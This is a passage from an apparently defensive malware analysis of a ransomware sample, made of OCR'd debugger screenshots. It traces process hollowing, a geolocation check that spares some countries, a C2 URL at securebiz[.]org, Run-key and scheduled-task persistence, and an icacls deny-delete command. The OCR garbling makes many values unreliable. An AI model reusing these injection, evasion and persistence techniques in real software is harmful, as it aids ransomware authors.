. 55 E8 mov edx,dword ptr ss:|[[ebp-15] edx:Zw | X87rs 00000000000000000000 STS EmPEy 0.00000000C
B 42 10 mov eax,dword ptr ds:[edx+10] edx+10 | x87r& 3FFFS000000000000000 ST6 EmPTy 1.00000000C
. pus X87r7 IFFFEDB7OCS7SDF22363 ST7 EMPTy 1.107148717
. 40 08 mov ecx,dword ptr ss:[Jebp+s]
. 55 €5 Moy eaxdword per S5:febp- 180 e
' oo = X87TW_0 3 (Empty) x87TW_1 3 (Empty)
. 50 14 ;ﬂgnegégd"ﬂ’d ptr ds:[eax+14] X87TW 2 3 Esmptyg X87TW_3 3 EEmptyg
. 40 £8 mov ecx,dword ptr ss:|febp-1g a7 30 (EMPEV) S XEZIWCS 3 (ENpTy,
i 55 DO mov edx,dword Str s;:hnﬁ-sﬁ XAZTHLE 3 S(EmpLy) | S xBZIWZ 3E(ENDLY)
. 51 0C add edx,dword ptr ds: [ecx+C] S
. push edx X atuswar
. 45 D8 ey dword ptr ss:[Jebp-25]) X87SW_E O XB7SW_.CZ 0 X87SW €2 0
. push e X87SW_C1 0 XB7SW_CO 0 X87SW_ES 0
I3 40 08 mov ecx ~dword prr ss:[febp+a] XB7SW_SF 0 xB7SW_P 1 x875WU 0
e |l 02040393 91 BO 00 00 00 moy_edx, dword pir ds:[ecx50] edx:Zn lammia o caos
D call edx:Zw
. e N Daﬁu\t(shdaw) - O unlock
e i 0000015
ntd11.Zwwritevirtualmemorys (7704EBZ0) 21 Espﬂ] ey
3: [esp+8] 02ZEGEFAD
4: [esp+C]_0003DCOD
02DADZ32 5: [esp+10] 00000000
P 5
Woump1  @oumpz  @yoump3  @oump4  @Moumps @ watch1  x=llocals ) Struct C000 | File. 004CC000
Address | Hex IAsnn ]
O2EGBFAD |58 93 10 00[SE 92 10 uu|aa 93 10 00[38 98 10 00|X... - 0000
Ea ity "o D2DA03EC 6A push o X87r4 00000000000000000000 ST4 Empty 0.00000000
. Es mov edx dword ptr ss:|[[ebp-15]) edx:Zw || X87rs 00000000000000000000 STS Empty 0.00000000
. 10 mov eax,dword ptr ds:[edx+10] edx+10 | x87r& 3FFFS000000000000000 STE Empty 1.00000000
. pus X87r7 3FFFEDE7OCO7SDF22363 ST7 EMPTy 1.10714871
. 08 mov ecx,dword ptr ss:|[Jebp+s]
. € Mo cax - word bir a5 fcon- 1oy ] erremeraEors
) &5 =18 X87TW_0 3 (Empty) x87Tw_1 3 (Empty)
- 14 Sﬂifﬂé;dwd ptr ds: [eax+14] X37TW2 3 EEthyg X87TW.3 3 EEthyg
. €8 mov ecx,dword ptr ss:|[ebp-1g 27T EMPEY) S XSZIW. 5 3 (EmOL Y,
. oo mov edx,dword Sw ss {mﬂ-;é} KBATACE 2 S (EMRTY) S EZIW 7 2 S(ENDEY)
. oc add edx,dword ptr ds: [ecx+C] e
. push edx X atuswar
. D3 A AR dword ptr ss:[Jebp-25]] X87SW_E O XB7SW_.CZ 0 X87SW €2 0
o push e X87SW_C1 0 XB7SW.CO 0 X87SW ES 0
® 08 mov ecx ~dword ptr ss:[ebp+a] XB7SW_SF O xB7SW_P 1 x875WU 0
. 80 00 00 00 moy_edx, dword pir ds:[ecx50] edx: Zn
call ed edx:zZn
. = 5 Daﬁu\t(shdaw) [ unlod
—_— 0000015
edx=<ntd11.ZwWritevirtualMenorys> (7704E820) ::DM] e
esp+8] 0ZEA9BAD
esp+C]_ 00006400
02DADZ32 esp+10] 00000000
WWoump1  @youmpz  @ypump3  @oump4  @Moumps @ watch1  xellocals 2 Struct £ile. 00504000
Address | Hex |AascIz ]
02EA9BAD |01 23 £2 00[00 00 00 004023 52 DO[01 01 00 OO[E.R..... CEL I

Figure 20

The SetThreadContext function is used to set the context for the remote thread:
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- 50 push eax eax:se X87STATUSWord 0020
. 88 4D DC mov_ecx,dword ptr ss:[febp-24] XB7SW_E 0 X87SW_.CZ 0 X87SW_.C2 0
. 51 push ecx X87SW_C1 0O X87SW_CO 0 X87SW_Es O
. 8B 55 08 mov edx,dword ptr ss:[febp+s] XB7SW_SF 0 x87SW_P 1 x875W. U 0
. 88 42 4C mov_eax,dword ptr ds:[edx+4C] eax: Se - A—ass
|E 1 P FE DO call eax eax:Se v .
L D g T Tt e ool el S Default (stdcal) o
1: [esp] 00000150
eax=ckernel3z. SetThreadContext> (76A765A0) B E;gl,, 02AA0000
3: [esp+8] 00000000
4: esp+C] 00000044
TR 5: [esp+10] 02BASA98
P 00000150
Woumpt  YMoump2  W4Dump3  @MDump4  WWpumps @ wetchi  kellocak ) Stuct M‘x‘lxggc uzmmm‘

Figure 21

The binary resumes the main thread of the suspended process using ResumeThread:

51 push ecx X87SW_C1 O XB7SW_.CO O XB7SW_ES 0
8B 55 08 mov edx,dword ptr ss:|[febp+5] X87SW_SF O XB7SW_P 1 X87SW_U O
88 42 50 mov_eax,dword ptr ds:[edx+50] eax:Re |0 -
FF DO call eax eax:Re
T e TEEE—————— S 5 |Default (stdcal) + |5 [2] 0] uniock
1: [esp] 00000150
cax=<kernel3z.ResumeThread> (76A76280) S ooan00
3: [esp+8] 00000044
4: [esp+C]_02BASA98
02DADZED 5: [esp+10] 02BAD330 "winstao\\Default"
. | @@ .| @m. .| @@~ .| @@~ - @& [ e s CEEEE EEFEEEM] 00000150 |

Figure 22

We’ve extracted the executable from memory, and we continue to analyze this file. The following PDB path has
been found: “e:\doc\my work (c++)_git\encryption\release\encrypt_win_api.pdb”. The binary initializes the use of

the WinINet functions by calling the InternetOpenW API (the user agent being “Microsoft Internet Explorer”):

64 00 push o X5/5TATUSWOrG LUUL
6A 00 push o XB7SW_B O XB7SW_C3 0 XB7SW.C2 O
6A 00 push o XB7SW_C1 O XB7SW_CO O XB7SW_ES O
64 00 push 0 XB7SW_SF 0 XB7SW_P 0 XB7SW_U 0O
68 7C FF 24 00 push wininetr_dump.24FF7C 24FF7| =

FF 15 BO €3 21 00 €all dword ptr dsi[<&InTernetopenw:]

Defauit (stdcall) -
1: [esp] 0024FF7C L"Microsoft Internet
2: [esp+4] 0000000D
3: [esp+s] 00000000
4: [esp+C]_00000000

xplorer

dword ptr [0021C3B0 <wininet_dump.&InternetOpenw>]=<wininet. Internetopenn>

. Text:D015CF5F wininet_dump. exe: $CFSF #CFSF

& DO24FF7C [L"Mi ft Int et Expl s
Woump1  @iDumpz  @oump3  Wloump4  WWoumps @ watchi  Dellocsls 7 Stuct i [ G SERSTARierer

Address | Hex | Asc1T | ~
006FBEE1 [[D] 00 00 00[00 00 00 00[00 00 00 00[00 00 00 OO|R. .. evunveerens |

Figure 23

The malware performs a GET request to https[:]//api.2ip.ua/geo.json, which reveals details about the location of

the IP address:

= ) pushgD X67TW 2 3 (Empty) x&7TW 3 3 (Empiy)
. C7 45 FC 00 00 00 00 mov dword ptr ss:[ebp-4l,0 x87TW_4 3 (Empty) x87TW.5S 3 (Empty)
. 8D 45 94 lea eax,dword ptr ss:[Jebp-6C[l [ebp- XB7TW.6 3 (Empty)  X87TW_7 3 (Empty)
. 83 7D AB 08 emp dword ptr ss:[ebp-5s],s
. A 00 push o xB7Statusword 0000
. OF 43 45 94 cmovae eax,dword ptr ss:[febp-scl [ebp- XB75W_B 0 x87SW.C3 0 x875W.C2 O
. 6A 00 push 0 XB75W_C1 0 x87SW_CO 0O X875W_E5 0O
[ ] 50 push eax eax:L XB7SW_SF 0 x875W_P 0 x875W_U o
® || OD1SCFAS 57 push edi T
Eg—>e FE 15 AC €3 21 00 €all dword ptr ds:[<aInternetopenurlws] v
ole ———— = 5 | Default (stdcal) - [ Unlock
— — 1: [esp] 0OCCO004
dword ptr [0D021C3AC <wininet_dump.&InternetopenUr Iw>]=<wininet.InternetOpenUrIw> 2: [esp+4] 02755848 L"htrps://api.2ip.ua/geo. jsc
3: [esp+8] 0D0O0OODDD
v 4: [esp+C] 00000000
. TEeXT:0015CFA6 wininet_dump. exe: $CFAE #CFA6
" " oy ‘00CCO004
Woump1  @ypump2  Wypump3  @Woump4  @NDumps @ watch1  lx-lLocals & Struct DDGFEBSC | 02755848 | L"https://api.2ip. ua/geo. json”

DOGFEB40

006FBB45 | 00000000
006FEB4C | 00000000

Address | Hex | AscII ] ~
O06FBEE1 B0 00 00 00|00 00 OO0 00|00 00 00 00|00 00 00 OOk
006FBB71(00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00. 2

Figure 24

InternetReadFile is used to read the response from the server, and an example of a JSON form is displayed below:
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50
68 00 28 00 00
8D 85 68 D7 FF FF

56
FF 15 AB €3 21 00

push eax
push 2800

Tea eax,dword ptr ss:[ebp-zs9s]

push asi

€all dword ptr dsi[<aInternetReadFiles]

XB7SW_B 0 X87SW_C
XB7SW_CL 0 X87SW_C|
XB7SW_SF 0 X87SW_P

3 0 x87SWCz O
0 0 Xx87SW_ES O
0 Xx87SW_U O

X87STatusword 0000

v
Default (stdcal)

~|[5 0] unlock

. TEXT:0015CFCD wininet_dump. exe: SCFCD #CFCD

dword ptr [0021C3A8 <wininet_dump.&InternetReadFile>]=<wininet.InternetReadrile>

1: [esp] 00001234

2: [esp+4] DOEFBEEN
3: [esp+8] 00002800
4: [esp+C] OOEFEZE0

3 00001234

Woumpt  @hoump2  @Wpump3  @Hoump4  @Wpumps  ® wathi  Illocas & Stuct el P e
0D0GFBB48

s ! ~ Soerisen

TS,
ngsn,
ed states of america”,

New jersey®,
"Hep-Txepcu”,
": "Hop-Imepci”,
: "North bergen”,
"city_rus":

"Hopr Beprea",
"latitude": "40.80427",
"longitude": "-74.01208",
"zip code": "07047",
"time zone": "-04:00"

}

Figure 25

The “country_code” element is compared with “RU” (Russian language), “BY” (Belarusian language), “UA”

(Ukrainian language), “AZ” (Azerbaijani language), “AM” (Armenian language), “TJ” (Tajik language), “KZ”

(Kazakh language), “KG” (Kyrgyz language), “UZ” (Uzbek language) and “SY” (Syriac language):

8A 01
3A 02

75 27
83 FE FD

Figure 26

mov al,byte ptr ds:[ecx]
cmp al,

byte ptr ds:[edx]

jne wininet_dump. 156643
cmp esi,FFFEFFFD
Fa windnar A

{5 i

o EAX 00000002
=dx:"l | Esx  oooooooz
ECX  O0GFE3A4

EDX 00250004

“yg
U™

The systems that have one of the languages enumerated above will not be encrypted. The priority for the current
process is set to high by calling the SetPriorityClass routine (0x80 = HIGH_PRIORITY_CLASS):

65 80 00 00 00
=
FF 15 54 €1 21 00

push 80
push esi
call dword ptr dEs[<esetPriorityclass>]

0 X87SW_U O

| XB7SW_SF 0 XB7SW_P

v
Defauit (stdcal)

~ (5 2|0 urlock

. text:D0169FDA wininet_dump.exe: $19FDA #13FDA

dword ptr [0021C154 <wininet_dump.&SetPriorityClass>]=<kernel3z.setPriorityclass>

1: [esp]
2: [esp+4] 00000080
3: [esp+8] 00174141
4: [esp+C]_0O000DOA

<wininet_dump. EntryPoint>

Wopump1  Yoump2  EYoump3 B4 Dump4 UM Dumps

Figure 27

& watch 1 =llocals 5 Stuct

W |
DOGFE3FC | 00000080

The executable retrieves the command-line string for the process and then returns an array of pointers to the

command-line arguments:

FF 15 EC C1 21 00
8D 4C 24 40
51

50
FF 15 24 €3 21 00

€& dword ptr ds: [<&GetCommandLinews]
Tea ecx,dword ptr ss:[esp+40]

push ecx

push eax

€all dword ptr ds:[<&CommandLineToArgvws]

XB7SW_SF 0 XB7SW_P

XB7SW_B 0O XB7SW_CZ O XB7SW_CZ O
XB7SW_C1 O XB7SW_CO 0O XB7SW_ES O

0 X87SW_U 0O

eax:L |y

Default (stdeall)

~|[5 2] unlock

. text:0016AL6D wininet_dump.exe: $1A16D #1A16D

dword ptr [0021C324 <wininet_dump.&CommandLineToArgviw>]="

<shel132.CommandL ineToAr gvw>

2: [esp+4] 0135E628
3: [esp+s] 00174141
4: [esp+C]_0D0D000DA

1: [esp] 03692250 L™\"C:\\Users\' IV

esktop\iv

<wininet_dump.EntryPoint>

4Dump1 | Yoump2  Wypump3  Wyoump4  YDump5

Figure 28

@ watch1  Ir=llocals 5 Struct

03692250 ‘ LvcahUsers | JIllN\Desktop\\wininet_dump. e
0135E5E4| 01356628

It’s important to mention that the malware can run with one of the following parameters: “~Admin”, “~Task”, “-

AutoStart”, “~ForNetRes”, and “—Service”. We’ll describe the execution flows with different parameters later on.

All process IDs that correspond to the processes on the system are retrieved by calling the EnumProcesses API:

push ecx XB7SW_B 0O X87SW_C3 0 x875W C2 O
68 00 AD 00 00 push ADOD XB7SW_C1 0 x87SW_CO O x875W_E5 0O
8D 8D EOQ 57 FF FF 'Ieahecx,dwurd ptr ss:[lebp-Asz0f XB7SW_SF 0 XB87SW_P 0 X87sW_U o
push ecx
call eax EEEE v
5 | Defauit (stcal) ~|[5 20 unlock
1: es| 01353DCO
eax=<psapi.EnumProcesses> (7E3613A0) 2: Egsglﬂ 0000ADD0
3: [esp+8] O135E5D0
4: [esp+C] 00000001
.text:001622CD wininet_dump. exe: $122CD #122CD Lesp+cl
i 01353DCO
oump1 | @oump2  Whpump3  @hoump4  @hDumps @8 watchi  Deellocals g Struct it Al T e
[address Tuex TascTT T . || 01353DBO | 0135E5D0

Figure 29
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Each process object is opened by the ransomware using OpenProcess (0x410 =
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ):

XB7SW_C1 0 X87SW_CO 0 x87SW_ES O
XB7SW_SF 0 X87SW_P 0 X87SW_U O

~|[5 1] (] unlod:

FF B4 BD ED 57 FF FF
64 00

68 10 04 00 00

FF 15 AC €O 21 00

push dword ptr ss:[ebp+edi~a-asz0]

I

v
Default (stdcall)

1: [esp] 00000410

2: [espr4] 00000000

3: [esp+8] 00000000

4: [esp+C]_ 00000001

00000410
01353DAC
. 101353080

€all dword ptr ds:[<e0penProcess>]

dword ptr [0021COAC <wininet_dump.&0penProcess>]=<kernel3z.0penProcess>
.text:001622FE wininet_dump. exe: $122FE #122FE

94 Dump 1 &8 watch 1

[address [hex lasrrr [l

Wyoump2 Wypump3s  EWoump4 @4 Dumps [-llocals 4§ Struct

Figure 30

The malware extracts a handle for each module from a process that was successfully opened:

i - 50 push eax x87statusword 0000
e . GA 04 push 4 X87SW_B 0 x87SW_C3 0 Xx87swW.C2 O
ik . 8D 45 FC lea eax,dword ptr ss:[ebp-2J [ebp- X87SW_C1 0 X87SW_CO O X87SW_ES O
fi . 50 push eax X87SW_SF 0 X87SW_P 0 X87SW_U 0
. 56 push esi =
EE—>e FF 55 FB call dword ptr ss:[ebp-& ebp- =
R, e EE | pefout stdal) ~ |52 unlock

1: [esp] 000003

2: [esp+4] 0133E50C <aznumProcesses>
3: [esp+s] 00000004

4: [esp+C]_O135E5CO

dword ptr [ebp-8]=[D135E5D8 <&ENUMProcessModules>]=<psapi.EnumProcessModul es>

. text:00162315 wininet_dump.exe:$12315 #12315

& 000003C8

WWoump:  @pump2 @Woump3  @pump4  @Upumps @ watch1 | beellocals ) Struct @ﬂm“mm e
Add ‘01353DAC | 00000004

-‘_ESE.S.. l.‘fx._ e e .-!ASE,],I e ! ”HOI!SEDM 0135E5CO

Figure 31

The GetModuleBaseNameW function is used to retrieve the base name of a module that is compared with the

name of the executable (in our case, “wininet_dump.exe”):

8 00 04 00 00 pusn xorstatusmora wuuy
8D 85 EO F7 FF FF lea eax dwurd ptr ss:[febp-s20f X87SW_B O X87SW_C3 0 x87SW.CZ O
50 push ea: X87SW_C1 0 x87SW_C0O 0O Xx87SW_ES O
FF 75 FC push dwurd ptr ss:[lebp-4]) XB7SW_SF 0 Xx87SW_P 0  X87sW_U o
56 push esi .
FF 55 F4 call dword ptr ss:[ebp-C] [ebps v
- pm— = | Defautt (stdcal) = |[5 ][] unled

L 1: 3C8
Gword ptr [ebp-Cl-[0L356504 <SGetModl] eBaseNanews]—<psapi. GETNodL] eBas eNanes o
3: [esp+8] 0135DDCO
el a: [esp+C] 00000400
. TexXt:0016232C wininet_dump. exe: $1232C #1232C
@Woump1 | @pump2  @hoump3  @loump4  Wpumps @ watch1 | ivellocals P struct

|Mdress Hex. [asciz ]
0135DDc0 00l 00 00 0oloo 00 00 ooloo oo 0o ocoloo oo oo ool

Figure 32

The binary performs a lot of XOR operations (key = 0x80) in order to decrypt relevant strings. The next figure

contains a buffer with the C2 server securebiz[.]org:

L B |

ol e =

Ltext:8815EFCE
Ltext:8815EFCE
Ltext:8815EFCE

loc 1SEFCH:
mov ecx, [ebx]

.text:@815EFC2 mov ecx, [ecx+edx*4]
.text:@815EFCS xor byte ptr [ecx+eax],
.text:B@L5EFCY inc eax

.text:@@15EFCA cmp eax, 97h ; "'

.text:@815EFCF j1 short loc 15EFC@

Figure 33
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Address | Hex ASCII |
037313F3 36| 30 30 00|63 00 2F 73|65 63 75 72|65 62 69 FTA|BOD.C. /securebiz
03731408 |2E 6F 72 &7 |2F 66 68 73|67 74 73 73|70 65 &E 36| .org/Thsgtsspene
03731418 |2E 67 &5 74 iz ZO|0D BB 9D 72|78 AB 44 04| /get.php.=».rxaD.
03731428|BC BC 9D 72|40 79 E3 03 |CO FE 9E 72|80 89 91 72 ‘f_f_;‘.é.r@yﬁ.hu.r. Al
03731438|DC FE 9E 72|80 89 91 72|14 FF 9E 72|80 89 91 72| U~.F...F...F...F
03731448 A0 FF 9E 72|6LC 89 91 72|AD FF 9E 72|6LC 89 91 72 Il ] e r1 il
03731458 | A0 FF 9E 72 |6C 89 91 72|74 00 3D 00|22 00 62 00 Py ol [P o

03731468 |6F OO0 72 00|64 00 &5 00|72 00 &C 00|61 OO 79 0O0|0.r.d.e.r. 1 a.¥.

03731478 |6F 00 75 00|74 00 28 00|29 00 22 00|20 00 73 00|0.U.T. (. :] 18 i
03731488| 68 00 &5 00|65 00 OO0 BA|OD FO AD BA|OD FO AD BA|h.e.e. .D.
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The ransomware opens the Run registry key using RegOpenKeyExW (0x80000001 =
HKEY_CURRENT_USER and 0xFOO03F = KEY_ALL_ACCESS):

Figure 34

50 push eax
63 3F 00 OF 00 push FOO3F xB75tatusword 0000
€A 00 pus XB7SW_B XB7SW.C3 0 xB7SW.C2 0O
68 90 02 25 00 push wininet_dump. 250290 25029 | xB7SW_C1 O xB7SW.CO O XB7SW_ES 0O
68 01 00 0O 80 push 80000001 XB7SW_SF O XB7SW_P 0 XB7SW_U o
8B FA mov_edi,edx = =
FF 15 28 €O 21 00 €all dword ptr ds:[<&RegOpenkeyExw=]
= nerault(sn;ia\n +|[s 2] urlock
— - esp:
dword ptr [0021C028 <wininet_dump.&R 1 pi32 Exi> espt+4] 00250290 L"Software’\\Microsoft\\Windc
esp+8] 00000000
s esp+C]_DDOFO00D3F
. text:00161012 wininet_dump.exe: $11D12 #11D12 =
P 1
Woump1 | @Hpump2 W4pump3 WWoump4  WWoumps @ watchi  Iellocals P stuct 00250290 | L"Softwarel\Microsof Ty \windows\\Currentvers
ASCIT
oo g; 00|66 D0 74 00|77 0D 61 00|72 00 65 OO 5’: E 0135E5CO
Sy 0135B4E0 | 00DD0D0A
NIS. 'C' 0135B4E4| 03745250
E bl 0135B4E8| 7700FBD2 |return to ntd11.7700FBD2 from ntdl1.7700FDE
002502E0| 6E 00 5C 00(52 00 75 O0|6E 00 00 00|22 20 2D 2D|n.\.R.u. ‘rHiEE?Eg\ 22229\2?:

The process is looking for a value called “SysHelper”, which doesn’t exist at this time:

00161D60

E7 FF FF

24 00
3
€O 21 00

. text: 00161063 wininet_dump. exe:$11D63 #11D63

push eax
Tea eax,dword ptr ss:[ebp-15F4]

push eax

Tea eax,dword ptr ss:[febp-20]

push eax

push o

ush wininet_dump. 24FESC

push dword ptr ss:[ebp-ic

€all dword ptr ds: [<eRegqueryvalueExis]

24FES!

A s Ly

x87TW_6 3 (Empty)

Aurin_s o iy
X87TW_7 3 (Empty)

xB875tatusword 0000
XB7SW_BE 0 X87SWC3 O
XB7SW_C1 0 X87SW_CO 0O

X87SW_C2 O
X87SW_ES O
X87SW_U O

XB7SW_SF 0 XS7TSW_P O

- [ Unlock

Default (stdcall)
1: [esp] 000003C

dword ptr [D0Z1C03C <wininet_dump.&R eqqueryvalueExw>]=<advapi32.Regqueryval ueexws

3C8
[esp+4] D024FESC L"SysHelper”
[esp+8] 00000DOO
[esp+C]_0135E5BC

3 000003C8
Woumpt  @hDump2  @WDump3  WHDump4  @Wpumps  ® wath1  Illocas P Stuct 0135B4CC | 0024FESC | L"SysHelper”
0135B4D0
Hex | ascrz " | 01358404 0135E58C
D135CCES [DO] 00 0D 00|00 00 00 00|00 00 DD 00|00 00 00 00|N.. 01338408 | 0135CCES
oasaccrs|90 99 0 0|o0 90 90 99|00 20 0 90|02 00 99 0o R

Figure 35

The UuidCreate function is used to generate a new UUID (16 random bytes):

<

50
FF 15 00 €3 21 00

push eax = 5y
call dword ptr ds:[<euuidcreate-]

. text:00161EFC wininet_dump.exe: $11EFC #11EFC

R
dword ptr [0021C300 <wininet_dump.&UuidCreate>]=<rpcrta. UuidCreate>

..
| Asciz

Address | Hex
O135E534|22 22 1E 6E|31 A5 75 40(93 OF 7E 87|24 3A CC F2|"

Figure 36

The process converts the UUID to a string using the UuidToStringW API:

00161FOC

EIP

50
8D 85 58 FF FF FF

FF 15 04 €3 21 00

push eax
Tea eax,dword ptr ss:[ebp-as]

push eax

call dword ptr ds:[<auuidTostringws]

) _ _ _
o [

5 | Default (stical) =[5 [£]0] unlock
1: [esp] 0135E534
2: [esp+4] 00DODODA
3: [esp+8] 03745250
4: [esp+C] 7700FBD2 ntdll.7700FBD2

0135E534 |
X875W_C1 O xB75W_CO O XB75W_ES O
XB875W_SF 0 xXB7SW_P 0 XB75W_U o

5 |pefout (staca) ~|[5_[£]0 urlock

.TexT:00161F14 wininet_dump.exe:$11F14 #11F14

dword ptr [0021C304 <wininet_dump.&UuidToStringW>]=<rpcrt4.UuidTostringh>

944 bump 1
Address

03746DB0O
03746DCO
03746DD0
03746DEQ
03746DF0

84 Dump 2
Hex

00
00
00
00
00

Figure 37

¥4 Dump 3

8%y Dump 4

Woumps @ watch1  [x-llocals  # Struct

R
A
.3,
Bk

Rt

A new directory based on the UUID is created by the malware:

®| 00161F85
00161F87
®|l 00161F3D

64 00
8D 85 OC F7 FF FF

50
FF 15 D4 €1 271

push 0

Tea eax,dword ptr ss:|[[ebp-sF4])

push eax

€all dword ptr fs:[<&Createnirectoryws]

[esp] 0135E534

[esp+4] 0135E5CE
[esp+8] DOOODDOA
[esp+c] 03745250

35E534

e

013584DC | 0135E5C8

X875W_C1 O xB75W_CO O xB7SW_ES5 O
XB87SW_SF O XB7SW_P 0 XB7SW_U o
eax:L |m -
5 | Defeult (stdcal) ~|[5_[£]0] unlock

. TEXT:00161F8E wininet_dump. exe: $11F8E #11FSE

dword ptr [0021CID4 <wininet_dump.&CreateDirectoryW>]=<kernel3z.CreateDirectory>

@Woump1 g pump 2

44 pump 3

444 ump 4

Wuoumps @ watcht  brellocals 4 Struct

013584DC

0135DD58

Figure 38

00
00
00
00
00
00
00
00

T
o AT 0
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0135E4ED
0135B4E4
0135B4ES
0135B4EC
0135B4F0
0135B4F4
0135B4F5
0135B4FC
01358500

1: [esp] o13spces L c:\\Users\ [l \AppDatayiLo
[esp+4] 00000000
[esp+8] 000DODDA

E
3
a: [esp+C] 03745250

NAppData\\Local\\6e1e2222

return to ntd11.7700FBD2 from ntd11.7700FD

rariurm ta mrd11 77A20183 Fram ard1l 77aons
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The CopyFileW routine is utilized to copy the executable to a new file in the above directory:

. €A 00 push o Xs/STATUSWOrD UUUL
. 8D 85 OC F7 FF FF Tea eax,dword ptr ss:[ebp-aF4f X87TSW_B O XBYSW.C3 O X87SW.CZ O
. 50 push eax eax:L X87SW_C1 0 XB7SW_CO O XB7SW_ES O
. 8 85 OC DF FF FF Tea eax,dword ptr ss:[[ebp-20F4] XSTSW_SF O XBTSW_F 0 X87SW_U O
. 50 push eax sax:L =
EE— FF 15 C4 €O 21 00 call dword ptr ds:[<&CopyFilew>] v
. e 7 e e 5 |Default (stdcal) ~ |[5 [2][] unlodk

[esp] 0135C4EE L™
2: [esp+a] 0135DCES L”
3: [esp+8] 00000000
4: [esp+C] 0000000A

Desktop\

dword ptr [0021C0OC4 <wininet_dump.&CopyFilens>]=<kernel3z.CopyFilew> \\Appﬂa[a‘\'{:

. TEXT:0016204C wininet_dump. exe: $1204C #1204C

\DesKtop\ \wininet_dump. exe"
\AppData\\Local\\Gele2222-as

WWoump1  @pump2  Wloump3  @loumps  Woumps B watcht  ellocals P stuct
BAdracs luav Tacrer T 1 013584DC

L"C:\\Usersy
L"C:\\Usersy

Figure 39

The ransomware establishes persistence on the host by creating an entry called “SysHelper” under the Run

registry key, which will run the executable with the “—AutoStart” parameter whenever the user logs on:

o EOERNEN cax:l [ XB/IW_& 3 (EMPTY) XS/ IW_/ 3 (EMPTY)
8D 85 0C EF FF FF Tea eax,dword ptr ss:[febp-10F4]
50 push eax eax:L | xs7statusword 0000
6a 02 push z X87SW_B 0 X87SW.C3 0 X8TSWC2 0
GA 00 push 0 X87SW_C1 0 X87SWCO 0 X87SWES 0
68 5C FE 24 00 push wininet_dump. 24FEsC 24FEs | xB7SW.SF O x87SW.P 0 X87SW.U 0O
FF 75 E8 push dword ptr ss:|[[ebp-15]
FF 15 1€ €O 21 00 call dword ptr ds: [<eRegsetvalueexws] v
- - 5 |Defaut Gstdcal) + |[5 2] unlock
— 1 [esp] 000003CS
dword ptr [DOZICOIC <wininet_dump.&Regsetvalleexws]=<advapi 2. Regsetvalleexi> 2 Egsglﬂ 0024FESC L"SysHelper”
3: [esp+s] 00000000
- 4: [esptC]_00000002
. text:001620F3 wininet_dump.exe:S120F3 #120F3 Lespicl
" " 7 5 5 o ~ Pl 000003C8
Woump1 | @oump2  @oump3  @pump4  @Houmps @ wath1  bellocals ) Struct O15TE3CC| QDZ4FESC | L SysHelper”
T ] 01358400 0O0DODOD
TEETT . 0135B4D4 00000002
01358408 | 013504€8 | L"\"C:\\users\'Jll\\AppData‘\\Local\\6e1e2222-
D10 ALE B 0135B4DC | 0D0000OBC
ol B 0135B4E0 | 00DODDDA
niasDs1s, = 013584E4 | 03745250
MR & 0135B4E8 | 7700FBD2 |return to ntd11.7700FEDZ from ntdll.7700FDED
2 0135B4EC | 00000001
0135D538 2 0135B4F0 | 0000007F
0150556, 2 F2| 00000670
f135Daes - 01358478 |036C8948
e = 013584FC | 03690000
01350598 0. N ol e

Figure 40

The binary denies “Everyone” to delete the folder created above using the icacls command, as highlighted in

figure 41:

. 50 push eax i & caxil | xg7Tagword FFFF
. 8D 85 0C FF FF FF Tea eax,dword ptr ss:[febp-F4f XETTW.0 3 (Empty) x87TW.L 3 (Empty)
. 50 push eax eax:L = o
2 B e X87TW_2 3 (Empty) x&87TW_3 3 (Empty)
. Shico Push 0 X87TW_4 3 (Empty) x87TW 5 3 (Empty)
. 6A 43 push 18 X87TW_6 3 (EMPTy) X87TW_7 3 (EmpTy)
. GA 00 ush 0
- 6A 00 gush a x87statusword 0000
Ld 6A 00 push 0 XB7SW_E 0 XxB87SW_C3 0O x87sw_C2 0O
. 8D 85 0C CF FF FF Tea eax,dword ptr ss:[[ebp-30F4] X875W_C1 0 x87SW_CO 0 x87SW_ES O
. 50 push eax eax:L | XB7SW_SF 0 x87SW.P 0 X87SW.U 0O
. GA 00 push 0
EE— FF 15 DC €1 21 00 €all dword ptr ds:[<&CreateProcessw:-] v
. — 5 | Default Gstdcal) ~ |[s 2] 0] unlock
1: &s ‘00000000
dword ptr [0021CIDC <wininet_dump.&CreateProcessw>]=<Kkernel3z.Cr eaterrocessws 2: EESSL] 013584E8 L™icacls \"C:\\Users\ [N\
3: [esp+8] 00000000
4: esp+C] 00000000
. TEXT:001621A0 wininet_dump. exe: §121A0 #1210 le=pic]

Woump1  Pyoump?  WWDump3  WWDump4  WWDumps B wathi  edlecak | Stuct ey

Address | Hex

L"icacls \"c:\\users\\Jll\\AppData\\Local\}

20 on 0000000
00000048
00000000

00000000
0135E4E8
0135E544
00000004
03745250
00630069
00630061
0073006C

00220020 | L” unable to open console device\rin"

B
..
Se?
B
1
3

0135B4E8
0135B4EC
0135B4F0
0135B4F4

22 .00 22 00
01358578 |20 00 2F 00|64 00 65 00(GE 00 79 00|20 00 2A 0O
01358583 |53 00 2D 00|31 00 2D 00|31 00 2D 00|30 00 3A 00
01358598 |28 00 4F 00|49 00 29 00(28 00 43 00|49 00 29 0O
O135B5A8|28 00 44 00|45 00 2C 00|44 00D 43 00|29 00 00 0O

Figure 41

A second persistence mechanism consists of creating a scheduled task (using COM objects) that will run the

ransomware every 5 minutes.

The malicious file initializes the COM library on the current thread using the Colnitialize function:

64 0D push 0 | x87SW_SF 0 x87SW_P 0 X87SWU O
C7 45 FC 00 00 00 00 mov_dword ptr ss:[febp-4,0 I =
FF 15 DC €3 21 00 €all dword ptr ds:[<&CoInitializes] v
Defauit (stdcall) -
2 fespl
dword ptr [0021C3DC <wininet_dump.&CoInitialize>]J=<ole32.CoInitialize> 2: [Eng] 00000258
3: [esp+8] 03745250
ifu 4: [esp+C] 00000000
.Text:0015D026C wininet_dump. exe: $D26C #D26C —
T e e e e A IEFEEEEY 00000000 |

Figure 42
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We have observed that the implementation is similar to the one presented at https://docs.microsoft.com/en-

us/windows/win32/taskschd/time-trigger-example—c—, however we’ll dig deeper and explain how the assembly

code looks like.

The ColnitializeSecurity routine is used to register and set the default security values for the process (0x6 =
RPC_C_AUTHN_LEVEL_PKT_PRIVACY and 0x3 = RPC_C_IMP_LEVEL_IMPERSONATE):

GA 00 ush 0 EEkem
6A 00 gush o Empty)
ok o L X87TW.6 3 (Empty) Empty)
6A 03 push 3
24 06 i x87Statusword 0020
6a 00 push o XB7SW_E 0 x87SW.C3 0 x&7SW.CZ O
